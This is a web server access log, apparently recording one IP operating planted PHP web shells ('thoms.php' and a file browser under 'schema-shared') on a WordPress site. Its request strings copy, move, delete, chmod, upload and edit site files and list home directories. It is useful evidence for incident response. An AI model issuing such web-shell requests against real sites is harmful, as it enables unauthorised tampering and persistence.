45.135.193.11 - - [11/Sep/2026:23:38:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bestzyx.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11417 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22463 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=betcity.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=biotaiwan.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bioway88.com.tw HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bogroup.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=broadweb.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=ba-guo.com.tw HTTP/1.1" 200 11374 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=besth2o.com.tw HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=wp-content HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=cgi-bin HTTP/1.1" 200 11370 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=upgrade HTTP/1.1" 200 11382 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bodbooks.com.tw HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bossini.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bestjudy.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bft.com.tw HTTP/1.1" 200 11417 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=big-wife.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=wp-content-20260912023544 HTTP/1.1" 200 11389 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=beauty-dental.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22501 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22485 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bfl.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p=booking-wise2.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:27 -0400] "GET /thoms.php?p=betcity.com.tw%2F.well-known%2Facme-challenge HTTP/1.1" 200 12072 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2F.well-known%2Facme-challenge" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/.well-known HTTP/1.1" 301 795 "http://163.245.207.76:443/betcity.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /thoms.php?del=acme-challenge&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 12581 "http://163.245.207.76:443/thoms.php?del=acme-challenge&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/.well-known/ HTTP/1.1" 200 780 "https://163.245.207.76:443/betcity.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /thoms.php?p=betcity.com.tw%2F.well-known&upload= HTTP/1.1" 200 12147 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2F.well-known&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /thoms.php?chmod=acme-challenge&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=acme-challenge&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/.well-known/acme-challenge/ HTTP/1.1" 200 701 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /thoms.php?p=betcity.com.tw%2F.well-known&settings=1 HTTP/1.1" 200 11927 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2F.well-known&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known%2Facme-challenge&p= HTTP/1.1" 200 12384 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known%2Facme-challenge&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7988 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F%2Fcjfuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F HTTP/1.1" 200 11233 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /thoms.php?edit=error_log&env=ace&p=betcity.com.tw HTTP/1.1" 200 18083 "http://163.245.207.76:443/thoms.php?edit=error_log&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /thoms.php?edit=error_log&p=betcity.com.tw HTTP/1.1" 200 14428 "http://163.245.207.76:443/thoms.php?edit=error_log&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F&location=%2Fhome%2F HTTP/1.1" 200 5827 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F HTTP/1.1" 200 6479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F HTTP/1.1" 200 6424 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 9000 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F HTTP/1.1" 200 28473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F HTTP/1.1" 200 6609 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 10890 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 9066 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F HTTP/1.1" 200 6423 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F&location=%2F HTTP/1.1" 200 7891 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F&option=folder HTTP/1.1" 200 6475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F HTTP/1.1" 200 11239 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F&option=file HTTP/1.1" 200 6476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:28 -0400] "GET /betcity.com.tw/schema-shared/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F%2Fprofile.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fschema-shared%2F HTTP/1.1" 200 18821 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?edit=mah.php&p=betcity.com.tw HTTP/1.1" 200 24356 "http://163.245.207.76:443/thoms.php?edit=mah.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?edit=mah.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 28084 "http://163.245.207.76:443/thoms.php?edit=mah.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?edit=wp-activate.php&p=betcity.com.tw HTTP/1.1" 200 14585 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?edit=wp-activate.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 18182 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 19324 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11346 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11858 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p= HTTP/1.1" 200 12375 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 19324 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fxmlrpc.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
